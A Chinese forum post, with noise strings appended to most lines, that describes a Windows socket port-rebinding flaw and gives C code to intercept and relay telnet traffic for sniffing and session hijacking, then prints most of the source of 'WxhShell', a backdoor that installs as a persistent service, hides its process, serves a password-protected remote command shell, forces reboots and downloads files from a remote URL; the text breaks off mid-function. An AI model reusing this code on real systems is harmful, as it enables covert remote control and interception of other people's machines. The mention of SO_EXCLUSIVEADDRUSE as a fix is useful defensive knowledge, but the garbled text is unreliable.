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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {WS;dX4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rXq.DvQ  
<dNOd0e  
  saddr.sin_family = AF_INET; 3`?7 <YJ  
T<>,lQs(a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E=Bf1/c\  
Oszj$C(jF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :,7hWs  
ttQGoUkj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m7V/zne  
8W7J3{d  
  这意味着什么?意味着可以进行如下的攻击: I][*j  
R w\gTo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +=h:Vb8  
 /maJtX'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2tO,dx  
Rp7mh]kZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ue"~9JK.  
9=tIz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~8+ Zs  
{Xy5pfW Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JR|ck=tq  
Y@iS_lR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RB\uK 1+  
%;' s4ly  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FV!q!D  
T::85  
  #include \@zHON(  
  #include gJ{)-\  
  #include Fo_sgv8O<  
  #include    H?Wya.7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gQuw1  
  int main() [|L<_.8  
  { B6 ;|f'e!  
  WORD wVersionRequested; } OR+Io  
  DWORD ret; j (d~aqW  
  WSADATA wsaData; Ml5w01O  
  BOOL val; >=>2m2z=  
  SOCKADDR_IN saddr; v?$:@9pAk  
  SOCKADDR_IN scaddr; :cECRm*  
  int err; o|:b;\)b  
  SOCKET s; "sCRdx]_  
  SOCKET sc; +\A,&;!SR  
  int caddsize; 3hH<T.@)  
  HANDLE mt; =nS3p6>rZ  
  DWORD tid;   #!# l45p6  
  wVersionRequested = MAKEWORD( 2, 2 ); gf@:R'$:+  
  err = WSAStartup( wVersionRequested, &wsaData ); N+xP26D8  
  if ( err != 0 ) { WH}y"W  
  printf("error!WSAStartup failed!\n"); {P./==^0  
  return -1; ^CX6&d  
  } e T{ 4{  
  saddr.sin_family = AF_INET; xCTML!H  
   RqrdAkg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P@B]  
x9g#<2w8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p6@)-2^  
  saddr.sin_port = htons(23); cI*;k.KU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kc-W&?~y#1  
  { fr3d  
  printf("error!socket failed!\n"); L2z[   
  return -1; kevrsV]/$  
  } /3T1U  
  val = TRUE; Gd=RyoJl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KpGhQdR#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "+s++@ z  
  { Gef TdO.&  
  printf("error!setsockopt failed!\n"); 9A=,E&  
  return -1; 6{b >p+U  
  } IJ"q~r$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D@.6>:;il  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0e4{{zQx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }Y\%RA  
0h_|t-9j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T8g$uFo  
  { /x$nje,.  
  ret=GetLastError(); =H8;iS2R  
  printf("error!bind failed!\n"); 6&x@.1('z  
  return -1; 7:1Lol-V  
  } c@7rqHU-0  
  listen(s,2); :I#V.  
  while(1) 8Z~EwY*  
  { Lf&kv7Wj  
  caddsize = sizeof(scaddr); bAMdI 5Zk?  
  //接受连接请求 +e``OeXog  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L0o\J` :  
  if(sc!=INVALID_SOCKET) GTd,n=  
  { .k !{*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MTn{d  
  if(mt==NULL) (<9u-HF#  
  { z} #JK? u  
  printf("Thread Creat Failed!\n"); O0.*Pmt  
  break; %ET+iIhK  
  } g 7H(PF?  
  } XL ^GZ  
  CloseHandle(mt); PW0LG^xp`  
  } |BXg/gW  
  closesocket(s); Dd|VMW=  
  WSACleanup(); 2^7`mES  
  return 0; h376Be{P  
  }   guR/\z$D@C  
  DWORD WINAPI ClientThread(LPVOID lpParam) TLH1>pY&  
  { ? J0y|  
  SOCKET ss = (SOCKET)lpParam; Bzf^ivT3L  
  SOCKET sc; I?CZQ+}Hq  
  unsigned char buf[4096]; 'g\4O3&_  
  SOCKADDR_IN saddr; L4W5EO$  
  long num; R|(a@sL  
  DWORD val; ;$4\e)AB  
  DWORD ret; Pq$n5fZC !  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1% `Rs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e0 ecD3  
  saddr.sin_family = AF_INET; :ws<-Qy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); At;LO9T3z  
  saddr.sin_port = htons(23); h?U O&(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "{t$nVJ  
  { %cn<ych G  
  printf("error!socket failed!\n"); dZuOrTplA  
  return -1; UEL _uij  
  } 307I$*%W  
  val = 100; KI.hy2?e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vY3h3o  
  { n@3>6_^rwT  
  ret = GetLastError(); [-w%/D%@  
  return -1; y~V(aih}D  
  } .xkM.g4{~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i|kRK7[6B  
  { c71y'hnT  
  ret = GetLastError(); !4!~L k=  
  return -1; | -H& o]  
  } Id9TG/H7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EU#^7  
  { %C]>9."  
  printf("error!socket connect failed!\n"); !G|@6W`  
  closesocket(sc); dO\"?aiD  
  closesocket(ss); Z\sDUJ  
  return -1; ]4e;RV-B  
  } zt%Mx>V@  
  while(1) v$9y,^p@e  
  { pgo$ 61  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DmcZta8n]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Y,Z %d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kx^/*~ex  
  num = recv(ss,buf,4096,0); :4|4=mkr  
  if(num>0) !)$Zp\Sg  
  send(sc,buf,num,0); ~TtiO#,t  
  else if(num==0) +ZV5o&V>  
  break; /9X7A;O  
  num = recv(sc,buf,4096,0); Hn:Crl y#  
  if(num>0) 7+*WH|Z@  
  send(ss,buf,num,0); ^.y\(=  
  else if(num==0) iy"*5<;*DD  
  break; %iB,IEw  
  } `D9$v(Ztr  
  closesocket(ss); \M-OC5fQv  
  closesocket(sc); O/LXdz0B  
  return 0 ; EQ_aa@M7  
  } <VE@DBWyl~  
dRMx[7jVA  
: Dp0?&_  
========================================================== F'Z,]b'st3  
w-jVC^C]  
下边附上一个代码,,WXhSHELL 5r0YA IJ  
lhJ'bYI  
========================================================== 30{ gI0jk  
p ll)Y  
#include "stdafx.h" $[|mGae  
*1"+%Z^  
#include <stdio.h> =~gvZV-<  
#include <string.h> 9YGY,s x  
#include <windows.h> Y/oHu@ _  
#include <winsock2.h> +C)~bb*  
#include <winsvc.h> i#O SC5ZI  
#include <urlmon.h> UxBpdm%dvP  
lq uLT6]  
#pragma comment (lib, "Ws2_32.lib") VU#7%ufu&  
#pragma comment (lib, "urlmon.lib") .\mj4*?/  
CJyevMf'  
#define MAX_USER   100 // 最大客户端连接数 !x)R=Z/C  
#define BUF_SOCK   200 // sock buffer (k P9hcV  
#define KEY_BUFF   255 // 输入 buffer (m$Y<{)2  
e+|sSpA  
#define REBOOT     0   // 重启 p<%d2@lp  
#define SHUTDOWN   1   // 关机 4ppz,L,4  
\U0'P;em  
#define DEF_PORT   5000 // 监听端口 E{@[k%,_  
I+(nu47ZT  
#define REG_LEN     16   // 注册表键长度 qgB_=Q#E  
#define SVC_LEN     80   // NT服务名长度 9H~n _   
$VR{q6[0S?  
// 从dll定义API n+p }\msH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <ZW-QN4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XP}<N&j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VN.Je: Ju  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kGJC\{N5N  
}B^tL$k  
// wxhshell配置信息 b2*TgnRq  
struct WSCFG { E`J@h l$N  
  int ws_port;         // 监听端口 QWU-m{@~&  
  char ws_passstr[REG_LEN]; // 口令 X-/]IH DN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3U}%2ARo_  
  char ws_regname[REG_LEN]; // 注册表键名 ^f@=:eWI  
  char ws_svcname[REG_LEN]; // 服务名 (At$3b6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @+DX.9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DfB7*+x{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #Q5o)x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tBSW|0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MfkZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {)Xy%QV  
&j6erwaT  
}; p}P-6&k,U  
#z42C?V  
// default Wxhshell configuration cb bFw  
struct WSCFG wscfg={DEF_PORT, s[N@0  
    "xuhuanlingzhe", _Ey5n!0:  
    1, ,z6~?6m  
    "Wxhshell", 0`H# '/  
    "Wxhshell", qSQ~D(tO  
            "WxhShell Service", 1*7@BP5  
    "Wrsky Windows CmdShell Service", Zd&S@Z  
    "Please Input Your Password: ", ('~LMu_  
  1, @nf`Gw ;  
  "http://www.wrsky.com/wxhshell.exe", |uDdHX8T  
  "Wxhshell.exe" `u\n0=go  
    }; $ Q0n  
31)&vf[[  
// 消息定义模块 fy$1YI>!Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kpp_|2|@<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y*hCMy;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h];I{crh  
char *msg_ws_ext="\n\rExit."; 2SLU:=<3  
char *msg_ws_end="\n\rQuit."; (sj,[  
char *msg_ws_boot="\n\rReboot..."; [-&Zl(9&  
char *msg_ws_poff="\n\rShutdown..."; ]^]wP]R_  
char *msg_ws_down="\n\rSave to "; Mihg:  
P;*(hY5&  
char *msg_ws_err="\n\rErr!"; :EyD+!LJ  
char *msg_ws_ok="\n\rOK!"; E"0>yl)  
>d6|^h'0  
char ExeFile[MAX_PATH]; mc3"`+o  
int nUser = 0; Ts9uL5i  
HANDLE handles[MAX_USER]; I:.s_8mH}  
int OsIsNt; M3AXe]<eC1  
Pc9H0\+Xk  
SERVICE_STATUS       serviceStatus; ] R*A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @PU [:;  
PW4q~rc=:  
// 函数声明 ntY]SK%Z  
int Install(void); SX*RP;vHy  
int Uninstall(void);  _4f;<FL  
int DownloadFile(char *sURL, SOCKET wsh); W9)&!&<o  
int Boot(int flag); 9FX-1,Jx  
void HideProc(void); H.0K?N&\?>  
int GetOsVer(void); "5 A! jq  
int Wxhshell(SOCKET wsl); r :dTz  
void TalkWithClient(void *cs); /O9EQPm(  
int CmdShell(SOCKET sock); 1&2>LE/P  
int StartFromService(void); fR|A(u#9  
int StartWxhshell(LPSTR lpCmdLine); T;#FEzBz  
Wjc'*QCPl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e# bn#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {b{s<@?  
54/=G(F   
// 数据结构和表定义 (w{j6).3Dj  
SERVICE_TABLE_ENTRY DispatchTable[] = %3 rP `A  
{ -HuA \0J  
{wscfg.ws_svcname, NTServiceMain}, YzWz|  
{NULL, NULL} #Dac~>a'  
}; Z ]ONh  
5X+A"X ;C  
// 自我安装 g+l CMW\  
int Install(void) Z{R>  
{ 2?x4vI np;  
  char svExeFile[MAX_PATH]; BuwY3F\-O  
  HKEY key; Xeaj xcop#  
  strcpy(svExeFile,ExeFile); 4R*,VR.K  
`2snz1>!j  
// 如果是win9x系统,修改注册表设为自启动 u&NV,6Fj2[  
if(!OsIsNt) { *] (iS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }M+7 T\ J!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M?qy(zb  
  RegCloseKey(key); $u.z*b_yy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D]}G.v1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yz bXuJ4  
  RegCloseKey(key); .u:GjL'$  
  return 0; a =QCp4^  
    } kP"9&R`E  
  } ,s(,S  
} HP =+<]?{G  
else { 8_8l.!~  
=Uh$&m  
// 如果是NT以上系统,安装为系统服务 xA/D'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nK,w]{<wG!  
if (schSCManager!=0) hQ i2U  
{ KSvE~h[#+  
  SC_HANDLE schService = CreateService 9iq_rd]  
  ( o@Oqm>]SS  
  schSCManager, nlYNN/@"  
  wscfg.ws_svcname, OCUr{Nh  
  wscfg.ws_svcdisp, kl`W\tF  
  SERVICE_ALL_ACCESS, YMgNzu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G?ZXWu.  
  SERVICE_AUTO_START, weQ_*<5%  
  SERVICE_ERROR_NORMAL, 8RX&k  
  svExeFile, uS-|wYE  
  NULL, 2?5>o!C  
  NULL, q@qsp&0/  
  NULL, $k?>DP 4  
  NULL, Y} /-C3)  
  NULL P%6~&woF  
  ); <m m[S  
  if (schService!=0) i$@:@&(~Y  
  { rc{v$.o0  
  CloseServiceHandle(schService); yZRzIb_  
  CloseServiceHandle(schSCManager); N$DkX)Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VnzZTG s  
  strcat(svExeFile,wscfg.ws_svcname); ^_6|X]tz1T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /mMV{[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q@niNDaW2  
  RegCloseKey(key); g{Rd=1SK]  
  return 0; ;r8X.>P*  
    } ,>M[@4`,U  
  } U17d>]ka  
  CloseServiceHandle(schSCManager); G3 m Z($y  
} P3%5?.S  
} Kgv T"s.  
%$I;{-LD  
return 1; rUl+  
} U(Zq= M  
9z0p5)]n>  
// 自我卸载 Z.WW(C.  
int Uninstall(void) S 5U;#H  
{ _&x%^&{  
  HKEY key; C}X\|J  
n?Q|)2 2  
if(!OsIsNt) { ,bd_:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5bIw?%dk(  
  RegDeleteValue(key,wscfg.ws_regname); SKtrtm  
  RegCloseKey(key); OVJ0}5P*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~dSr5LUD  
  RegDeleteValue(key,wscfg.ws_regname); lk!@?  
  RegCloseKey(key); s.#`&Sd>  
  return 0; fox6)Uot  
  } yX5\gO6G  
} FlQGg VN  
} @c#(.=  
else { i?/qY&~  
q| 7(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ==B6qX8T  
if (schSCManager!=0) ,_P-$lB  
{ O2+6st  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); edD)TpmE,  
  if (schService!=0) No$3"4wk  
  { .d*8C,  
  if(DeleteService(schService)!=0) { FsPw1A$y  
  CloseServiceHandle(schService); ye97!nIg@  
  CloseServiceHandle(schSCManager); RNL9>7xV  
  return 0; "|NI]Kv  
  } 5xBbrU;  
  CloseServiceHandle(schService); _M1%Z~  
  } *v`eUQ:  
  CloseServiceHandle(schSCManager); &[9709 (=  
} jCY %|  
} :]"V-1#}  
gIfh3D=yX  
return 1; _GPe<H  
} <%^&2UMg  
FwK] $4*  
// 从指定url下载文件 [ )F<V!  
int DownloadFile(char *sURL, SOCKET wsh) N#] ypl  
{ F{wzB  
  HRESULT hr; V+\Wb[zDJ  
char seps[]= "/"; l}h!B_P'  
char *token; DDZ@$L!  
char *file; 0]L"H<W  
char myURL[MAX_PATH]; m'U0'}Ld};  
char myFILE[MAX_PATH]; N+|d3X!  
m~|40)   
strcpy(myURL,sURL); ;"I^ZFYX  
  token=strtok(myURL,seps); cK@wsA^4  
  while(token!=NULL) <v2;p}A  
  { )+^+s d  
    file=token; ~Ei<Z`3}7"  
  token=strtok(NULL,seps); +3gp%`c4  
  } ("@!>|H  
F@t3!bj9  
GetCurrentDirectory(MAX_PATH,myFILE); <b.D&  
strcat(myFILE, "\\"); #Z#-Ht  
strcat(myFILE, file); x^ni1=kU  
  send(wsh,myFILE,strlen(myFILE),0); b>W %t  
send(wsh,"...",3,0); V9vTsmo(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Iv *<L a  
  if(hr==S_OK) \['Cj*ek  
return 0; / FII07V  
else #_1`)VS  
return 1; )BE1Q*= n  
'"^'MXa  
} (:_$5&i7  
hp2t"t  
// 系统电源模块 965 jtn  
int Boot(int flag) VVZ'i.*_3?  
{ hgmCRC  
  HANDLE hToken; W^Yxny  
  TOKEN_PRIVILEGES tkp; D9df=lv mD  
~[ jQ!tz  
  if(OsIsNt) { |pK !S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H}!r|nG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' QG?nu  
    tkp.PrivilegeCount = 1; 7pd$\$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; txpgO1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pmM9,6P4@  
if(flag==REBOOT) { Z;i:](  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dv"9qk  
  return 0; ;gkM{={`p  
} |4JEU3\$  
else { 4 5e~6",  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sB</DS  
  return 0; XSDpRo  
} Hz~zu{;{J  
  } CAJ'zA|o  
  else { r$1Qf}J3=  
if(flag==REBOOT) { |>Vb9:q9Po  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ok[i<zl; '  
  return 0; {=WgzP  
} yfSmDPh  
else { hM{bavd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NUZl`fu1Z4  
  return 0; 6<]lW  
} b-DvW4B  
} zda 3 ,U2o  
UZMd~|  
return 1; S!UaH>Rh  
} 3<!7>]A  
n]9$:aLZ  
// win9x进程隐藏模块 Ey2^?  
void HideProc(void) 'V{W-W<  
{ QY/w  
zdYjF|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \<' ?8ri#  
  if ( hKernel != NULL ) DF= *_,2/  
  { Ie_wHcM<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +R&gqja  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); paK2 xX8E  
    FreeLibrary(hKernel); *T/']t  
  } #4PN"o@  
X, n:,'  
return; 6'/ #+,d'  
} _U(  
Nc`L;CP  
// 获取操作系统版本 +rd+0 `}C  
int GetOsVer(void) =  [E  
{ oxs#866x  
  OSVERSIONINFO winfo; ? k/`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  @5FQX  
  GetVersionEx(&winfo); A&VG~r$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KPF1cJ2N  
  return 1; w>gYx(8b  
  else xp t:BBo  
  return 0; Sc0w.5m6  
} (HVGlw'`  
X8|,   
// 客户端句柄模块 DVA:Cmh\  
int Wxhshell(SOCKET wsl) :> '+"M2r  
{ ;I}fBZ 3  
  SOCKET wsh; $i&zex{\  
  struct sockaddr_in client; uFE)17E  
  DWORD myID; C Z;6@{ o  
Y7|EIAU5Y  
  while(nUser<MAX_USER) )e{aN+  
{ Hka2  
  int nSize=sizeof(client); L,\Iasv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \hXDO_U  
  if(wsh==INVALID_SOCKET) return 1; KoT\pY^7\  
g#bRT*,L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^W ^OfY  
if(handles[nUser]==0) @dK Tx#gZ  
  closesocket(wsh); 7I}uZ/N  
else Y]>t[Lo%  
  nUser++; hb$Ce'}N  
  } 7dWS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qPNR`%}Q  
R_C)  
  return 0; TbU#96"~.  
} 4 KiY6)  
(=0.inZ  
// 关闭 socket XSR 4iu  
void CloseIt(SOCKET wsh) V0@=^Bls  
{ e+WNk 2  
closesocket(wsh); }#fbbtd  
nUser--; l#o ~W`  
ExitThread(0); aN?zmkPpov  
} /: "1Z]@  
<)9y{J}s:  
// 客户端请求句柄 CJ}%W#  
void TalkWithClient(void *cs) ]Ze1s02(  
{ )7F/O3Tq  
4RO}<$Nx}  
  SOCKET wsh=(SOCKET)cs; m0wDX*Qn  
  char pwd[SVC_LEN]; th_oJcS  
  char cmd[KEY_BUFF]; sC'` ~}C  
char chr[1]; G{}VPcrbC  
int i,j; @JMiO^  
C+$#y2"z#n  
  while (nUser < MAX_USER) { (QEG4&9  
+7Gwg  
if(wscfg.ws_passstr) { )nkY_' BV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L *wYx|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y(#e}z:  
  //ZeroMemory(pwd,KEY_BUFF); Et$2Y-L.  
      i=0; ^8WRqQdx  
  while(i<SVC_LEN) { t.<i:#rj>l  
|Cv!,]9:r  
  // 设置超时 ( .:e,l{U%  
  fd_set FdRead; teR Tu  
  struct timeval TimeOut; /^ts9:  
  FD_ZERO(&FdRead); >MZ/|`[M  
  FD_SET(wsh,&FdRead); r!v\"6:OM  
  TimeOut.tv_sec=8; D.:Zx  
  TimeOut.tv_usec=0; X'ag)|5ot  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #qki  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y29m/i:  
IGl9 g_18  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M`_0C38  
  pwd=chr[0]; @ArSC  
  if(chr[0]==0xd || chr[0]==0xa) { Jy)/%p~  
  pwd=0; O.? JmE  
  break; Gc?a+T  
  } _BufO7 `.  
  i++; K(4_a``05  
    } MgZ/(X E  
4#D,?eA7  
  // 如果是非法用户,关闭 socket dtDFoETz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /ZX }Nc g  
} &>O+}>lr9  
\bXa&Lq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yi[x}ffdE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rq-ZL{LR7  
-"x$ZnHU  
while(1) { ]Wup/o  
W/N7vAx X  
  ZeroMemory(cmd,KEY_BUFF); 5xiEPh  
).O)p9  
      // 自动支持客户端 telnet标准   KNl$3nX  
  j=0; inL(X;@yo  
  while(j<KEY_BUFF) { "]*tLL:`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0-gAyiKx?  
  cmd[j]=chr[0]; @7 }W=HB  
  if(chr[0]==0xa || chr[0]==0xd) { >P(.:_ ^p  
  cmd[j]=0; Uo49*Mr  
  break; ?,/ }`3Vw  
  } (3e 2c  
  j++; kJU2C=m@e2  
    }  " bG2:  
PT ~D",k  
  // 下载文件 G@0&8  
  if(strstr(cmd,"http://")) { V`5 O{Gg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +@UV?"d  
  if(DownloadFile(cmd,wsh)) 42{~Lhxt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gYj'(jB  
  else 7zMr:JmV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hH.G#-JO  
  } BtZyn7a  
  else { sW$XH1Uf#  
0RfZEG)  
    switch(cmd[0]) { [g,}gyeS(  
  \V:^h [ad  
  // 帮助 z:O8Ls^\T  
  case '?': { pg.%Pdr<$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]e3Ax(i)  
    break; qs6aB0ln  
  } iZ%yd-  
  // 安装 9WHddDA  
  case 'i': { HW|IILFB  
    if(Install()) AA_%<zK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7)m9"InDI  
    else b>k y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M|-)GvR$J  
    break; N`i/mP  
    } `oJ [u:b  
  // 卸载 2%1hdA<  
  case 'r': { pAEx#ck  
    if(Uninstall()) ~[: 2I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t^HRgY'NjM  
    else *j=% #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GbyJ:  
    break; Ac6=(B  
    } %y@AA>x!  
  // 显示 wxhshell 所在路径 ysN3  
  case 'p': { 2 c}E(8e]  
    char svExeFile[MAX_PATH]; 9uY'E'm*  
    strcpy(svExeFile,"\n\r"); <3iMRe  
      strcat(svExeFile,ExeFile); 0(I j%Wi,  
        send(wsh,svExeFile,strlen(svExeFile),0); $'TM0Yu,  
    break; 49P 4b<1  
    } ^.tg7%dJ  
  // 重启 GILfbNcd  
  case 'b': { }G=M2V<L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9L9sqZUB  
    if(Boot(REBOOT)) ^8tEach  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C~[,z.FvO  
    else { )"LJ hLg  
    closesocket(wsh); m|# y >4  
    ExitThread(0); Cw%{G'O   
    } c,22*.V/  
    break; zi:BF60]=  
    } 0V]s:S  
  // 关机 l%ZhA=TKQ  
  case 'd': { =sFTxd_"iQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mmsPLv6  
    if(Boot(SHUTDOWN)) wBzC5T%,  
